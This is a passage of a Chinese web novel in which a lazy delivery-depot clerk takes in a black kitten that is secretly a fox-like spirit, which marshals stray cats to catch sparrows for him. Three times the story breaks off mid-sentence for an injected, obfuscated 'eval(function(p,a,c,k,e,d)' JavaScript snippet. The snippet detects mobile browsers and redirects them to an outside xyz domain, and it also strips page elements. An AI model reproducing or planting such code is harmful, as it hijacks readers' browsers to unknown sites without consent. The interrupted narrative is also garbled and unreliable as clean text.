《我的猫今天又想出了什么养我的办法?》 1. 被猫赖上 祁县城区,夕阳的余晖斜洒进桃李街,打在名为风水速递的快递点门前。 营业前台后,一名年轻男人瘫在办公椅里昏昏欲睡,宽松的制服遮不住他颀长匀称的身形,两条堪比模特的大长腿委屈地搭在桌下放杂物的纸箱上,黑发覆着懒散而英俊的眉眼,像只打盹的狮子。 电脑屏幕上,时间刚从16:59跳到17:00,男人就像定了脑内闹钟似的猛然睁眼,以最快速度坐直身,打报表、签退、关电脑,弹射起步冲出前台,将前后门一锁,整个人才放松下来,缓缓吐出胸口憋了八个小时的一口气。 带薪摸鱼的一天结束,男人扫码解锁一辆老旧的共享单车,将座椅调到最高,弯着腰握住扶手,在零件们叮铃当啷的演奏声中骑了出去。 分明是一辆带着浓郁现代科技气息的自行车,却让他骑出了上世纪的“宝马”——二八大杠的感觉。 “观哥,下班啦?”修车店的小年轻正在给小电驴拧刹车线,听到熟悉的声音,抬头熟练地跟他打招呼。 “嗯,辛苦。”观昏晓抬手回应。 “观哥,要不要打份饭回去?今天有特价菜哦!”私房菜馆的女服务员探头冲他笑笑,手上拎着一张A4纸,上书“今日特价16元番茄炒蛋”。 “发了工资再说。”观昏晓摆手,“特价菜还要16块钱,麻烦请你家老板回小学进修一下语文。” “为什么是语文而不是数学?” “因为他需要理解的不是16块,而是特价。” 桃李街全长三十米,两边稀疏地分布着六七家店,观昏晓一一“视察”问候过去,两分钟后才骑出路口,恰好赶上绿灯。 他的工作地点离家很近,骑着吱哇乱叫的单车穿过路对面一片紫穗槐花荫,槐花巷尽头左侧门口种了一排茉莉花的那间两层小院子就是他的住所。 但他没有立刻回家,而是往花荫侧边的小路骑去。六百米外有一条巷子,开了不少苍蝇小馆,菜色丰富,物美价廉,最贵的素菜都只要6块,是观陛下钦定的御膳房。 “叮叮——” 到店门口,观昏晓按了两下铃铛,厨娘洪亮的嗓音立刻响起:“小晓啊,今天要吃什么菜?” “麻婆豆腐,水煮牛肉,微麻重辣少放花椒!”观昏晓起手就是店里的招牌。 “米饭要不要?” “要,二两就行。” 十几分钟后,观昏晓带着两车把的晚饭慢悠悠骑上回家的路,左边是脚踝高的大理石草坪护栏,右边是大片油画似的紫穗槐花瑰丽的色彩,夕阳余晖中浮起清新淡薄的香气,徐徐地拂过他的面庞。 他正享受着下班后的悠闲自得,下一秒忽然看见一团黑影从他车子前蹿过,他赶紧按住前后刹车,长腿一支稳住倾倒的车子,探身查看前方的情况。 这时,他的脚背一沉,一股软绵绵暖乎乎的触感扎进他的神经末梢,带着刺挠的痒感,让他脚趾蜷缩。 “喵呜——” 一声黏糯的猫叫自脚下响起,观昏晓低下头,与发出叫声的那只小东西四目相对。 那是一只巴掌大的黑色毛团球,圆滚滚毛绒绒,乍一看像极了《千与千寻》里的煤球加大版,稳稳扒在他脚上。 它仰起圆巧的脑袋,露出占据了大半张脸的眼睛,宝石紫的瞳仁,形状溜圆,眼尾微微上翘,毛发通体漆黑,只有眼角两缕色泽较浅的往上飞,看起来就跟勾了眼线,可爱中带着狐狸似的狡黠。 观昏晓沉默地与小黑猫对视。 五秒钟后,他们还在对视。 又过五秒,观昏晓终于做出了第一个反应——他动了动脚趾,试图将右脚从小猫肚皮底下抽出来。 “喵呜!” 小黑猫却再叫一声,向前一扑,愣是黏回了他的脚背,像一只如影随形的黑糯米糍包。 观昏晓再缩脚,小黑猫再扑。 观昏晓再……算了,再缩他就要原地表演一个单车杂技后踢腿了,难度太高,他选择放弃。 他弯腰揉了揉小煤球的后颈:“小家伙,可别告诉我你是在碰瓷,不然以我现在的身家,咱们只能比比谁躺得更快更平了。” 小黑猫眨眨眼,尾巴尖竖起一截轻轻晃动两下,似乎没听明白他的意思。 观昏晓想了想,掏出手机一通操作,随后一本正经地向它摆出工资卡的余额,0.06元。 他的工资卡常年不放存款,这六分还是上回把钱转出去时懒得多打一个数字才留下来的。 但猫猫不知道这些,观昏晓也理直气壮地蒙它:“看,我连饭都快吃不起了,养不起你。” 话音未落,他就看到小黑猫朝自己车把上挂着的餐盒看了一眼。 观昏晓清清嗓子,既不觉得这猫通人性得奇怪,也不认为自己煞有介事地跟一只猫耍贫有问题,认真解释道:“这是发工资前的最后一顿大餐,剩下几天我只能凉白开配超市临期面包,一根火腿肠还要分三次吃。懂我什么意思吗?” 小黑猫歪头想了一想,从他腿上弹开,以一种弹簧般的机敏姿态窜回草坪。 马路边的草坪因无人修剪,加上品种原因,已经长得有观昏晓小腿那么高,小黑猫就那么点大,钻进去后连个影都看不着,只能听见草叶簌簌地动。 这是被他六分钱的巨额存款震撼到,决定放弃碰瓷,洗心革面做只好猫了? 观昏晓脑海中刚冒出这个想法,就见小黑猫又如离弦之箭般蹿了出来,这回它嘴里叼了一只老鼠,个头深得南方气候滋养,有观昏晓两只手那么大。 它把老鼠放下,趁着观昏晓怔愣之际返回草丛,再叼出一只。 如此反复数回,等观昏晓回过神来的时候,老鼠一家六口也已经整整齐齐地排列在他脚边,安详嗝屁。 “呃……”愚蠢的人类挠了挠鬓角,“这是你的存粮?” “喵——” 小黑猫甩着柔软的尾巴踱到他跟前坐下,尾巴尖尖搭在并拢的前爪上,仰头与他对视,猫猫嘴微翘,像是在笑,紫眼睛反射着夕阳余晖的光彩,瑰丽明亮。 观昏晓忽然觉得这只猫可能是老天爷看他孤寡可怜,特意送给他的礼物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810505|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “请停止释放你的魅力。”观昏晓战术后仰,“本人不吃这套。” 小黑猫歪头,眨巴眨巴眼睛,他又倒吸着冷气捂住胸口,改了口风:“行,看在你把口粮贡献出来接济我的份上,我给你一个碰瓷的机会。如果你能跟上我的速度,我就收留你。” 话音未落,观昏晓踏上脚蹬正要全力施展,就感觉车头一沉,小黑猫敏捷地跳进了车筐,弯起眼睛与他对视,仿佛一只笑眯眯的狐狸。 “……” 观昏晓一拍车把:“行,你赢了,跟就跟吧。不过你的储备粮我不吃,你也不能带上,在跟我回家之前,你先把它们处理了。” 小黑猫的爪子动了动,眼神中流露出人性化的犹豫。 观昏晓屈指弹它脑门,勾起嘴角:“放心,说了让你跟着,我就不会跑。” 黄昏时分黯淡的光线照进男人深邃的眉眼,映出一抹温柔,带着蛊惑的邪气,却又令人安心。 小黑猫在他的笑容中放下心来,跳出车筐,朝不远处墙根下三只排排趴的流浪猫点点下巴,动作间不自觉显露出几分矜贵高傲。 那三只猫分别是胖橘、狸花和玳瑁。 田园猫家三宝本来正懒懒晒着太阳,看见它的“指示”,顿时像领了圣旨的臣子般飞奔过来,迅速瓜分地上的六只老鼠,再调头跑回原位。 观昏晓挑高了眉毛:“你是这一带的猫中霸王?” 小黑猫跳进车筐,闻言,不疾不徐地拍了拍尾巴。 观昏晓伸手比划一下它的大小,自己又否决了这个想法:“嗯,确实不太像。” 小黑猫眯起眼睛,猫猫嘴上扬,露出一点深藏功与名的笑意。 决定了收养,观昏晓也不再纠结,踩着脚蹬悠哉游哉地重新上路。 晚风吹动夕阳,余晖如水,照着满头紫色花荫,落下轻盈浮动的光影。 观昏晓骑着单车从光影中过,嘴里哼着如风的老歌小调,如同穿行于光阴回廊,面容忽明忽暗,时隐时现,却并不能遮掩他惬意的神态目光。 小黑猫蹲坐在箩筐里,端端正正地并起四爪,卷好尾巴,仰头认认真真地凝视他。 看他驶出花荫,看他转过拐角,看他骑进短窄的小巷,在青石板铺成的凹凸不平的小路上晃晃荡荡地前进,与邻居王阿姨挥手打招呼,夸她院里的葡萄藤和小番茄架得真好,草莓与蓝莓也长得不错,再一伸长腿,将单车停在自己家门口,俯身摘下两朵雪白雪白的茉莉。 观昏晓把一朵别在耳后,另一朵夹到小黑猫右耳耳根处。见它一脸无辜地眨眼,被白花衬得越发像煤炭一样黑,拍着车把笑了一声。 “嗯,好看。” 小黑猫仿佛知道他在笑什么,抖抖耳朵,仰头叼住落下的茉莉。 它轻巧跳上车把中间的凹陷,小心而虔诚地把花朵放在观昏晓手背上,用鼻尖轻轻拱了两下,仰头笑眼眯眯: “喵~” 观昏晓“嘶”了一声,边拢住那朵小花边夸张地学西子捧心。 这只小猫上辈子是情圣吗?月老都没它会! 2. 给猫洗澡 “吱呀——” 观昏晓推开院门,在滞涩的摩擦声里按下门边的开关,顺便将两朵茉莉扔进不远处种着几朵粉睡莲的水缸。 一尾锦鲤飞身出水,张嘴将花朵吞下肚去,才又藏回莲叶底下,摆着尾巴划出一圈圈悠闲的涟漪。 “等着,我要是没钱养猫了,迟早把你下锅。”观昏晓踹了一下缸面。 昏黄灯光洒满不大的庭院,将两侧冷调的绿叶白花染上暖色。 “进……” 屋主人话音未落,一直跟在他脚边的那团黑毛球已经轻盈越过他的脚背,颇为自来熟地溜进院子,像巡视领地一般把每个角落都逛了个遍。 “你倒是不客气。” 观昏晓好笑,却也不拦它,提着晚饭兀自进屋,在台阶右侧换下鞋子,趿拉着人字拖走入客厅。 不多时,巡视结束的小黑猫也蹦蹦跶跶进来了,看着不大点,身手却格外敏捷,甚至不用借力,原地起跳就能轻松蹦上半米多高的圆桌,尾巴一卷在观昏晓手边趴了下来。 “饿了吗?”观昏晓边拆包装边问,“那老鼠一家你吃了几个?” 小黑猫尾巴尖左右横扫,从这个简单的动作里,观昏晓看出了浓烈的否定意味。 “你没吃老鼠?” “呜喵。”小黑猫的尾巴上下拍打。 观昏晓立马心领神会——哦,这就是肯定的意思了。 “那要不要一起吃点?”他拆开一次性筷子,目光扫过两盘辣菜,又迅速改口道:“猫不能吃太咸的东西,太辣肯定也不行。你能吃辣吗?” 小黑猫左右甩尾巴。 “得,我还是给你弄点别的去吧。” 观昏晓放下刚拿起的筷子,起身进厨房翻了翻冰箱,从里面掏出两颗鸡蛋,一根火腿肠。 “火腿肠煎蛋少盐版吃不吃?”他冲小黑猫挥手。 小黑猫上下拍了下尾尖,而后轻巧跳下地去,迈着标准的猫步踱向他,又是一个原地起跳,轻轻松松落在比餐桌还高的料理台上。 观昏晓怀疑它甚至可以直接跳上冰箱顶端,也不知道这巴掌大的身躯哪儿来这么发达的运动神经。 “别离灶台太近,小心被油溅到,落下斑秃。” 观昏晓呼噜两把小黑猫脑袋,洗了手再去开火,起锅热油之际将鸡蛋打了,搅成金黄色的蛋液,再把火腿肠切成细丁。 小黑猫很乖地趴在几米之外,下巴垫着两只平揣的前爪,眼珠子咕噜噜地动——一会儿看向平底锅,一会儿看向观昏晓,胡须一抖一抖,看不出在想什么。 观昏晓摸出根烟叼上,却不点火,熟练利落地煎好火腿鸡蛋,倒在碗里捣碎。 金白相间的鸡蛋混合着深红色的火腿丁,散发出诱人的油香和蛋香。他再从外带的米饭里挖出两勺加进去搅拌均匀,一碗不算丰盛但朴素健康的自制猫饭便完成了。 “今天捡到你是意外,什么都没准备,你凑活着吃一顿。”观昏晓手里端着饭,脚边跟着猫,回到餐桌旁坐下,“猫粮猫罐头有点贵,以后我买点鸡胸肉、牛肉之类的给你做饭,具体是哪种肉看我当天吃什么,能接受吗?” 没等他把碗放到地上,小黑猫便跳上桌子,尾巴尖在身前轻拍。 观昏晓一笑,把碗挪过去:“行,那就这么决定了。” 客厅的灯与院子里的一样,都是暖融融的浅黄色,不灼眼,带着童年记忆的朦胧和古拙,缺点是照明性略有欠缺。 观昏晓从前独自生活,独自吃饭,虽然清净,却也孤单。 现在多了一个活物在身边,他吧唧嘴它也吧唧嘴,他筷子碰碗叮当响它也牙齿碰碗叮当响,冷清的屋子里顿时就多出了几分活气,连带着半凉的饭菜味道都比平时好不少。 “啧。”观昏晓感叹道,“这才是生活啊。” 吃完晚饭,观昏晓正收拾着餐盒,一扭脸见小黑猫也吃完了,碗里干干净净没留一颗饭粒,嘴边的油汪子都舔干净了,正在舔爪子,看不出有没有吃饱。 他拿起焕然一新的碗:“嚯,比我钱包都干净。你老实告诉我,以前在外流浪的时候你吃饱过吗?” 小黑猫睁着一双无辜的圆眼睛与他对视。 三秒后,观昏晓懂了。 “行,下顿多给你做点。”说着,他瞅了眼小黑猫圆滚滚的肚皮,“吃不下也别硬撑,撑坏了我还要花钱给你治病,体谅一下我这个可怜的打工人吧。” “喵呜呜——” 小黑猫起身去蹭他的手指,眼睛弯成两条缝,发出软绵绵的撒娇般的叫声。 观昏晓轻笑,屈指在它脑壳上敲了两下,转身洗碗去了。 半个小时后,观昏晓拾掇完厨房也拾掇完自己,换上睡衣,顶着半湿的头发窝进客厅门外的藤椅,用长达三米的数据线连接插头给手机充上电,摇晃着椅子刷起了手机。 趴在沙发上舔毛的小黑猫见状,迈着悄无声息的猫步小跑过来,轻盈跳进他怀里,在他胸腹处踩了踩,寻了个舒服位置,一扭身揣着爪子趴坐下来,与他脸对脸地打了个哈欠。 观昏晓愣了几秒,托了下它毛茸茸的小身子,从头顶顺毛到尾巴尖:“这么黏我?” “呜——” 小黑猫摊开四肢成猫饼状,四只小爪子勾住他的衣服,以实际行动表明态度——除非他想让他的衣服跟它同归于尽,否则别想将它拎下去。 观昏晓好笑地戳它脑袋:“这么会撒娇耍赖,你凭什么当流浪猫?哦,对,你现在不是流浪猫了,我是不是应该先给你起个名字?” 小黑猫抬头,眨巴眼睛盯着他。 “嗯,进了我的门,就是我的人……猫,你的名字也得跟我相关,让我想想啊……” 观昏晓说着,脑子里冷不丁跳出一段记忆,是六七岁那会儿,他那信佛修禅断情绝爱的母亲跟他解释他名字来历的场景。 昏晓是昼夜的意思,黑白善恶,岁月与品德,都能从这两个字里体现出来。再加一个“观”姓,就有超凡脱俗的意味了。 观昏晓,知黑白,是他母亲对他的寄望,也是她一辈子没能做到的事。 观昏晓眉睫低垂,从汤显祖的《邯郸记》里找到一句同时含有这两个字的词句,掌心贴上小黑猫的后脑,顺着后背给它梳了梳毛。 “一枕馀甜昏又晓,凭谁拨转通天窍。我叫昏晓,那你就叫天窍好了。我们俗人取名不求甚解,有点相关元素就行。至于姓氏嘛……你不用随我,这不是什么好姓,就随你的物种本身吧,姓猫……嗯……不,姓苗,怎么样?” 小黑猫弯起眼睛,下巴抵在他胸前蹭了蹭,喵得温柔可亲。 观昏晓笑着搔搔它下巴。 给一只猫煞有介事地想典故、取名字,他一定是刚刚洗澡的时候脑子进了热水,被蒸熟了。 在藤椅上歪到十一点多,观陛下终于批改完各个社交平台的奏折,捏捏鼻骨,顺手摸了摸胸前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810506|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“毛毯子”。 天窍蜷起四肢,趴在他坚实的胸口呼噜呼噜地拉着摩托车引擎,看似睡得熟,但他一动就睁开了眼睛,眼中没有半点睡意。 “你不困啊?不困就自己去玩吧,我困了。” 观昏晓把它放到地上,拍掉睡衣上粘的猫毛,呵欠连天地走向房间。 他算半个老年人作息,十二点前必定犯困,早上七点准时清醒,连闹钟都不用定。 走了几步,观昏晓脚上再次传来那种刺挠的痒感,低头一看,天窍并没有离开,而是亦步亦趋跟在他脚边,尾巴左右摆动,不时扫过他的小腿,在他脚踝上环一圈蹭两下再退开,调皮又亲昵。 “不玩?行,那就一起睡觉。” 观昏晓边说边用脚轻轻将它推开,它却不依不饶地黏上来,非得贴着他走。 他还想推,小猫便停在原地,仰头用圆溜溜的蓝眼睛控诉地看着他,把他看得莫名心虚,慢慢收回抬起的脚。 进入房间,观昏晓走到衣柜前,说道:“想睡哪儿自己找地,我给你拿床旧被子铺一下。” 话音未落,他的眼前就黑影一闪,天窍跳上床,围着他常枕的那个枕头踱两圈,在旁边趴下。 “……你想睡床?” “喵呜。”天窍把下巴垫在爪子上,上下拍打尾巴。 “那不行。”观昏晓板起脸,非常硬气地道:“除非你先洗澡。” 天窍歪了歪头,像是在理解这句话的意思,片刻后主动跳下床,往前走了两步,然后回头看他。 观昏晓想了想,试探地问:“你愿意洗澡?” “喵~” “……” 他怕不是捡了只猫妖回来。 “……行吧,你等着。” 半个小时后,观昏晓提着外卖小哥送来的猫用沐浴露、吸水毛巾和吹风机,抱着天窍走进浴室。 “说好穷养的,唉。”他真情实感地叹气,“结果没几个小时,大几百块就这么从我指缝间溜出去了,比时间还无情。” 天窍支起身,用头顶轻蹭他的下巴,两只小爪子抱住他的脖子。 “别撒娇了,我又不会因为你费钱就把你丢掉。”观昏晓好笑地把它拎下去,“本人从小到大都是道德模范,一学期能在作文里扶十次老奶奶过马路,干不出这种没良心的事。” 说着,他拧开水龙头,接了一盆热水,拍拍水面示意它进去。 天窍乖乖跳进水里,身子沉下去,只露个猫头在外面。 乌黑的毛发浸满水,紧紧贴在肌骨轮廓上,把它变成一根手腕粗的猫条,衬得脑袋又圆又大。 观昏晓囫囵看两眼沐浴露的使用方法,先把手打湿,挤出半透明的浴液搓出泡沫,抹到天窍身上,再顺着它毛发的走向轻轻搓洗起来。 他的手掌比他的脸生得秀气,骨节分明却不粗硬,指腹温暖柔软,掌纹清晰整齐,略略有几点薄茧,像艺术家或音乐家的手。 这样一双手在天窍身上笨拙而轻柔地揉动,不像洗猫,倒像摩挲光润的玉石。指尖慢慢梳开它毛发里的结块,带出暗藏的灰尘污垢,再撩水冲掉。 天窍把脑袋搭在盆边,抬眼看着他专注的神情,这种时候的他脸上其实没有什么表情,眉眼间略带邪气的不羁也褪得干干净净,底色中的温柔便如水落而石出,清晰分明。 “喵……” “别张嘴,洗澡水会溅进去。” “唔。” 3. 猫逮麻雀 观昏晓给天窍洗了两遍,冲干净泡沫后用毛巾将它裹住,抱着走回房间。 毛巾的吸水性很强,没多久就让它的毛发变得半干,微微蓬起,不再显得身体那么干巴细瘦。 观昏晓往床上一坐,插上吹风机电源,开最小档的暖风为它吹毛,吹着吹着,忽然想起了一件事。 “你是公猫母猫?” “……喵?” “别害羞嘛,让我看看。” 观昏晓咧嘴一笑,放下吹风机就去拉天窍的后腿,刚刚还黏着他不放的黑毛球瞬间爆发出极致的速度,从他腿上蹿到了床的另一头。 它瞪大眼睛,白色的内耳廓浮起了淡淡的红晕,压着嗓子凶巴巴地“喵”一声,以此展示自己的性别。 观昏晓忍笑:“女孩子啊?” “喵喵!” “好好好,男孩子男孩子,我知道了。”见天窍攥紧了猫猫拳,观昏晓大笑着改口,“快过来把毛擦干,我们一起睡觉。” 天窍抖抖耳尖,仔仔细细观察他的神色,确认他不会再使坏看自己性别,才慢吞吞地挪了过去。 观昏晓长臂一伸,一把将它捞过来,打开吹风机继续给它吹毛。 他煞有介事地说:“放心,我不看。我又不是什么变/态。” “……” 天窍趴回他腿上,眼底闪过一丝无奈。 忙活到十二点十分,观昏晓把新捡的猫洗得干干净净香喷喷,自己却困得睁不开眼睛,连弄湿了裤腿和衣袖的睡衣都懒得换,直接滚进了被子。 “天窍,我不想下床关灯,你……” 他拖着尾音的话还没说完,就听见“啪嗒”一声,灯灭了,颈窝里也多出一团毛茸茸的带着柠檬清香的暖意。 “……乖。”观昏晓笑了笑,“你老实说,投胎的时候是不是趁着孟婆姐姐没注意故意没喝孟婆汤?” 天窍支起脑袋,瑰紫色的眼睛在黑暗里泛着温润的光,并不像寻常动物那么骇人,十分柔和。 观昏晓没等到它回应,甚至在它抬头之前就已经睡了过去,呼吸绵长而平稳,睡颜宁静。 窗户没关,夜风吹起半掩的窗帘,任由月光倾泻入屋。 小黑毛团轻巧地跳下地去,踱至月光笼罩处,仰起头,周身晕开浅淡的紫光。 一道修长身影在光芒中舒展开来,如瀑的黑发流泻在宽襟广袖上,面容俊美,气质妖异,形状类似现今流行的精灵耳的尖长耳朵抖了抖,不像猫,倒像是狐狸。更像狐狸的眼睛则微微弯起,目光落在了床上的男人身上。 他悄无声息地走过去,屈身单膝跪在床边,垂眸凝视观昏晓的面颊,用视线细细描摹他的五官与轮廓。 “终于找到你了。” 低沉悦耳的嗓音轻不可闻,伴随而来的是一个虚落在观昏晓眉间的吻,如同一掠而过的微风。 亲完,男人最后看了一眼他的睡颜,转身变回小黑猫跃上窗台,轻盈跳进院子,几个闪身蹿出了大门。 它个子小,速度却很快,三步并作两步跑出槐花巷,在落满花荫的晦暗月色里抖抖毛,仰头发出一声清亮而悠长的鸣叫,不像猫叫,却似凤凰清啼。 鸣叫刚刚落下,不到半分钟的功夫,街头巷尾突然亮起一双双眼睛,在黑夜中仿佛激光灯般明亮诡谲。 眼睛的主人从四面八方跑来,飞快聚集到天窍身前,赫然是一只只被喂养得油光水滑的流浪猫。 它们自觉列成方阵,冲天窍乖顺地垂头耷耳。队列虽然不算整齐,却能看出数量可观,秩序井然,若是让别人看到,会以为建国后成精的猫妖搁这儿团建来了。 事实上,它们确实在团建,不过不是为了吃喝玩乐,也不是为了自己,而是因为“老大”的呼唤。 天窍在方阵前从容踱步,口中发出抑扬顿挫的猫叫,询问众猫:“我最近捡……找回了我心爱的两脚兽,他不擅长捕猎,家里也没有存粮,我得想办法养活他。对此,各位有什么建议吗?” 一只漂亮的小三花原本正优雅地舔着爪子,听到这话,认真地想了想,然后软软地喵道:“老大,人类有一句话,叫爱人如养花,种花最重要的是水土与气候,你想养好一个人,头一件事也是让他吃饱穿暖。” “嗯。”天窍点头,“他有住处,不缺衣服,倒是比较缺口粮。但他和我一样不吃老鼠、昆虫、剩饭剩菜,也不会通过卖萌换取食物。” “这样啊……” 小三花犹豫着看向身旁比自己大了一圈的胖橘:“说到吃,还是橘哥有经验,你怎么看?” 胖橘揣着爪子慵懒眯眼,有一种打工人半夜被老板薅起来要方案的班味,打着哈欠说:“城市里的猎物不多,老大你的口味既然跟他的差不多,就琢磨琢磨自己能接受哪些,再一起猎了送过去,让他挑呗。” 天窍眼睛一亮:“这是个好主意。我不喜欢生食,他也不喜欢,以前他给我做过一道菜,是烤麻雀,味道不错。” “麻雀?”胖橘睁大眼睛,朝头顶的紫穗槐树上努力打量,“哦,现在是秋天,大批候鸟会途经这里,麻雀的数量也比以前多了很多。要不……老大,我们帮你给他逮麻雀吧!要多少我们给你抓多少,分成照旧是九一分,你看怎么样?” “可以。”天窍威严地点了点下巴,“不过死麻雀放一夜肉会变质,必须抓活的。也不用抓太多,不能让他天天吃麻雀,先抓二十只吧。” “活的……不好放啊。”一只黑灰毛发的狸花挠挠耳朵,“它们会飞,胆子小跑得又快,难道要我们蹲在老大家属门口帮他守一夜吗?” “家属二字用得好,一会儿多给你分两只麻雀。”天窍淡定道,“至于怎么看住活的麻雀,你们不用操心,交给我就行。” 狸花瞬间抬首挺胸:“好嘞老大!一定完成任务!” “那就散了吧。天亮之前在这里会合,至少抓够二十只麻雀。”天窍一摆尾巴,抬起前爪用力一攥,“我去逮老鼠,谁抓到的活麻雀最多,我就奖励谁五只老鼠!” “是!老大!” 整齐划一的猫叫响彻夜空,吓得附近某个熬夜打游戏的高中生一激灵,手滑错放了一个空大。 他心疼得直嘬牙花,咕哝道:“现在不是秋天吗?哪儿来那么多流浪猫叫/春……不,叫秋啊?” …… 第二天清早,由于昨夜晚睡了十分钟,观昏晓醒的也比平常晚了十分钟。 阳光照进窗户洒在他眼皮上,他烦躁地扭脸避开,习惯性把头埋进两个枕头之间的缝隙,却不小心蹭到了一个温热柔软的毛绒团。 陌生的触感在皮肤上炸开的瞬间,观昏晓陡然惊醒,头一抬,与同样迷迷糊糊抬头的天窍四目相对。 观昏晓这才松了口气。 “吓我一跳,忘了床上多了个你,还以为是老鼠偷偷爬我的床了。” 观昏晓坐起身,抻着手臂伸懒腰,蜷缩了一整晚的肌肉筋骨在晨光中舒展开来,领口松松地敞开,露出两段锁骨,线条优美精致。 天窍正对他趴着,下巴垫在前爪上,一双圆溜溜的大眼睛一眨不眨地盯着他,眼底溢出满意的笑意。 观昏晓没低头,先拢了下衣领,再顺着它的视线伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810507|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手敲敲它的脑壳。 “再看眼珠子掉出来了。” “喵——” 观昏晓走进浴室洗漱,正刷牙,看见天窍踱步进来,跳进厕所隔间熟练地使用抽水马桶,愣了一下。 他眯了眯眼,含着一嘴泡沫略显含糊地问:“我要上班,你陪我去吗?” “咔哒”一声,隔间的门开了,天窍跳上洗手池瞅瞅观昏晓,观昏晓心领神会地给它拧开水龙头。 它凑近水流洗爪子洗脸,然后跳进旁边的塑料篮子,在浴巾上打滚蹭毛。 洗漱完毕,天窍才抬起毛脑袋,笑眯眯地“喵”了两声。 观昏晓漱口、冲牙刷、洗脸,随即弯腰拎起小黑煤球,在它眉心轻敲。 “宝贝儿,建国以后不许成精,你在外面可得悠着点。” 天窍蹦到他胸前,摊开四爪扒住,脑袋在他胸口蹭了十几下,才心满意足地甩甩尾巴,表示自己听进去了。 观昏晓轻笑:“行了,别撒娇,陪我上班去。” “喵~” 一人一猫溜溜哒哒地穿过客厅,观昏晓拧着门把手拉开,正要伸腿,就被门口台阶上缩着几排灰毛团子吓得缩了回来。 他定睛看去,那竟然是二十只麻雀。它们整整齐齐站成了四排,统一缩着翅膀和脖子,眼观鼻鼻观心,犹如老僧入定,又像一只只精美的标本。 要不是麻雀的身体不受控制地哆嗦,显示它们还好好活着,观昏晓会以为是哪家熊孩子七匹狼瘾犯了,故意摆了这么多麻雀在这儿,好让他上门告状,帮着请父母给他们解馋呢。 他蹲下/身去,一手一个捧起两只麻雀仔细观察。这两只雀儿抖得更厉害了,却没有飞走,反而在他掌心用力磨蹭脑袋。 地上的小雀则小心翼翼地调整队形,补上那两个空缺,看上去犹如成了精般的乖巧聪明。 等等!成了精? 观昏晓眉毛一扬,将两只小麻雀放回队伍里,看着它们重新调整队列,砸了咂嘴。 “让我想想,是谁那么缺德,让你们上这儿罚站来了?” 灰毛团子瑟瑟发抖,这群平日占着电线杆子就能喳喳一整天的碎嘴子,此刻却噤若寒蝉,别说叫了,连大气也不敢出。 观昏晓回过头,门框边沿露出的半颗猫头“咻”一下缩了回去,但尾巴忘了收,还露在他的视野里心虚地一勾一勾。 观昏晓好气又好笑地捏住天窍尾巴尖,将它轻轻拽了出来,抬手给了它的猫头两颗爆栗,脆响脆响。 “喵呜……”天窍双爪抱头,委屈瘪嘴。 “我不吃鸟……不是,我不吃麻雀。”观昏晓哭笑不得,却还是帮它揉了揉脑壳,“去,把它们都放了。” 天窍不动,斜眼瞅那帮不懂事儿的。 小麻雀们浑身跟过电似的打了个冷颤,纷纷拍起翅膀飞到观昏晓脚边,将他团团包围。 “诶不是,你们……我这……” 观昏晓被封印在原地,走也不是停也不是,也不敢乱动,生怕踩死哪只小倒霉蛋。 他登时气乐了,扭脸看天窍。 天窍别过头,假装很忙地东张西望,看天看地就是不看他。 “得,都学你,赖上我了。”观昏晓掐鼻骨,忽然想到猫猫会因为担心主人吃不饱而给他们逮老鼠蟑螂之类的小东西加餐,不禁用余光观察起自家的小调皮,“猫兄,你逮它们最好不是为我加餐来的。” 天窍抬爪挠耳根:“……唔。” 观昏晓叹气:“倒反天罡啊,现在我要反过来给它们加餐了。” “……” 4. 猫陪上班 那二十只麻雀被观昏晓赶到门边的杂物间里,用旧枕头里的棉絮和一只藤编箩筐给它们搭了个简易的窝,又撒了点之前没吃完的小米,才踩着迟到的死线冲出家门,骑上共享单车飞驰上班。 “小晓,今天怎么这么晚啊?”王阿姨听到动静,从门里探出头来,左手一只捕鼠夹,右手一张粘鼠贴。 观昏晓摆摆手,没时间解释,只来得及道声早,就骑出了小巷。 可能是因为心虚,天窍缩在车筐里埋头装睡,任由观昏晓一边把车轮子搓出火星子一边吐槽自己不靠谱,除了耳朵发烫发抖以外,一点反应也不敢有。 观昏晓倒也不是真的生气,毕竟猫猫有什么错呢?猫猫只是想抓麻雀养你,所以吐槽的话不痛不痒,听上去更像是调侃。 所幸最后也没迟到,共享单车骑士努力保住了自己这个月岌岌可危的全勤。 观昏晓把车锁好,开了大门,先在门口刷员工卡,再把写着“风水速递”四个字的黑板支在门口,才快步跑向工位。 在物流行业高度发达的当下,虽然市场几乎被几家龙头企业瓜分殆尽,可大佬指缝里漏出来那丁点肉汤,还是养活了不少小型私人物流公司。 风水速递就是其中之一。 此风水非彼风水,现代社会不搞封建迷信,老板之所以取这个名,要的是乘风顺水的好寓意。 